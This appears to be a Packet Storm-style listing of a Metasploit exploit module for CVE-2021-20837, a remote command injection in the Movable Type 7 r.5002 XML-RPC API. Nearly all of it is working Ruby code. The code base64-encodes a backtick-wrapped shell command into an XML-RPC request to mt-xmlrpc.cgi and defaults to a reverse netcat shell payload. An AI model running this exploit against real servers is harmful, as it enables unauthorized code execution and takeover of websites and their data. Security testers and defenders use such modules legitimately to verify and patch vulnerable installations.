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Movable Type 7 r.5002 XMLRPC API Remote Command Injection

Movable Type 7 r.5002 XMLRPC API Remote Command Injection
Posted Oct 29, 2021
Authored by Etienne Gervais, Charl-Alexandre Le Brun | Site metasploit.com

This Metasploit module exploits an XML-RPC API OS command injection vulnerability in Movable Type 7 version r.5002.

tags | exploit
advisories | CVE-2021-20837
SHA-256 | 9c1d6d041399f21f06d09819aa8fd5bedc69705e7ec269c952276194f3e11c65

Movable Type 7 r.5002 XMLRPC API Remote Command Injection

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class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Movable Type XMLRPC API Remote Command Injection",
'Description' => %q{
This module exploit Movable Type XMLRPC API Remote Command Injection.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Etienne Gervais', # author & msf module,
'Charl-Alexandre Le Brun' # author & msf module
],
'References' =>
[
['CVE', '2021-20837'],
['URL', 'https://movabletype.org/'],
['URL', 'https://nemesis.sh/']
],
'DefaultOptions' =>
{
'SSL' => false,
},
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "2021-10-20",
'DefaultTarget' => 0,
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
]
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/'])
], self.class
)
end

def cmd_to_xml(cmd, opts={})
base64_cmd = Rex::Text.encode_base64("`"+cmd+"`")
xml_body = <<~THISSTRING
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
#{base64_cmd}
</base64>
</value>
</param>
</params>
</methodCall>
THISSTRING
end

def check
begin
fingerprint = Rex::Text.rand_text_alpha(32)
command_payload = cmd_to_xml("echo "+fingerprint)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

if res && res.body.include?("Can't locate "+fingerprint)
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe
end

def exploit
begin
command_payload = cmd_to_xml(payload.raw)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
end
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